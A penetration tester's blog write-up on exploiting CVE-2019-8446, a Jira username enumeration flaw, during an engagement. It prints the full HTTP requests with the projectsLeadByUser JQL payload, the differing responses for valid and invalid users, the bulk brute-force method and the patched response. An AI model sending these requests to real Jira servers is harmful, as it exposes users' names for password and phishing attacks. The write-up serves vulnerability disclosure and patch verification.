Jira Username Enumeration (CVE-2019-8446)

I got to perform some Jira username enumeration on a recent engagement, and I wanted to share the write-up on it.

Jira Username Enumeration - Introduction

I was poking around in the TALOS vulnerability reports one day and saw the following disclosure pop-up.

Jira Username Enumeration - Disclosure

Looking at CVE-2019-8446, this seemed like a straightforward vulnerability to exploit.

This was only a few days after the disclosure, so I was hoping that my 1-day attempts would be successful. If it worked, I'd be able to grab a list of users on my target's Jira system, and hopefully their entire domain!

Testing the Vulnerability

First, to verify that I had the request correct, I sent a valid JQL query to the issueTable endpoint. I ensured that I had a raymond.doyle user on the target, to prevent any false-negatives.

POST /rest/issueNav/1/issueTable HTTP/1.1
Host: jira.target.com
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Sec-Fetch-User: ?1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
X-Atlassian-Token: no-check
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Length: 50

jql=project in projectsLeadByUser("raymond.doyle")

As you can see, when I provided a valid username, the server responded with a JSON body that had an issueTable.

HTTP/1.1 200 
Date: Fri, 20 Sep 2019 19:17:08 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
Set-Cookie: [Cookie]
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-ASEN: SEN-9487263
Cache-Control: no-cache, no-store, no-transform
Content-Length: 600

{"issueTable":{"columnSortJql":{"issuekey":"project in projectsLeadByUser(raymond.doyle) ORDER BY key ASC","created":"project in projectsLeadByUser(raymond.doyle) ORDER BY created DESC","updated":"project in projectsLeadByUser(raymond.doyle) ORDER BY updated DESC","status":"project in projectsLeadByUser(raymond.doyle) ORDER BY status DESC"},"description":"","displayed":0,"end":0,"issueIds":[],"issueKeys":[],"jiraHasIssues":true,"page":0,"pageSize":50,"startIndex":0,"table":[],"title":"","total":0,"url":"","columns":["issuekey","status","created","updated"],"columnConfig":"USER"},"warnings":[]}

Next, I sent an invalid username to the endpoint, to confirm the differences in the response.

POST /rest/issueNav/1/issueTable HTTP/1.1
Host: jira.target.com
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Sec-Fetch-User: ?1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
X-Atlassian-Token: no-check
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Length: 49

jql=project in projectsLeadByUser("invalid.user")

As you can see, if you provide an invalid username, then the response is completely different. The server returns a 400 error, along with a body mentioning that the user does not exist.

HTTP/1.1 400 
Date: Sat, 21 Sep 2019 00:55:53 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
Set-Cookie: [Cookie]
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
Cache-Control: no-cache, no-store, no-transform
Content-Length: 149

{"errorMessages":["Function 'projectsLeadByUser' can not generate a list of projects for user 'invalid.user'; the user does not exist."],"errors":{}}

After verifying this vulnerability, I sent my valid request to Intruder and went to work. Using strupo's username lists, I send 200,000 requests to the target in search of usernames.

I was able to get plenty of valid responses back, as you can see in this redacted screenshot.

Jira Username Enumeration - Users

Post Patch

Once my target deployed their patches, I went back and verified the fix.

As you can see, an unauthenticated user can no longer call the projectsLeadByUser endpoint, preventing the username enumeration.

HTTP/1.1 400 
Date: Mon, 28 Oct 2019 16:51:04 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
Set-Cookie: [Cookie]
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
Cache-Control: no-cache, no-store, no-transform
Content-Length: 99

{"errorMessages":["Function 'projectsLeadByUser' cannot be called as anonymous user."],"errors":{}}

Jira Username Enumeration - Conclusion

This was a simpler vulnerability, but I caught it at the perfect time.

In the end, I was able to enumerate over 1500 unique users, which was awesome.

A vulnerability like this is something that a long-term adversary would likely exploit, so make sure that you confirm as well as patch as soon as possible

Stay tuned for more conference and CTF content, once I finish those posts!

doyler on Githubdoyler on Twitter
doyler
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.

When he's not figuring out what cert to get next or side project to work on, he enjoys playing video games, traveling, and watching sports.

Common passed on this blog, I made it to a jam.

1 Comment

Filed under Security Not Included

One Response to Jira Username Enumeration (CVE-2019-8446)

  1. Pingback: Bug Bytes #43 – Abusing HTTP hop-by-hop request headers, The Bug Bounty Podcast by @stokfredrik & Live Bug Bounty Recon Session on Verizon Media’s Yahoo.com W/ @Securinti – INTIGRITI

Leave a Reply

Your email address will not be published. Required fields are marked *

*

This site uses Akismet to reduce spam. Learn how your comment data is processed.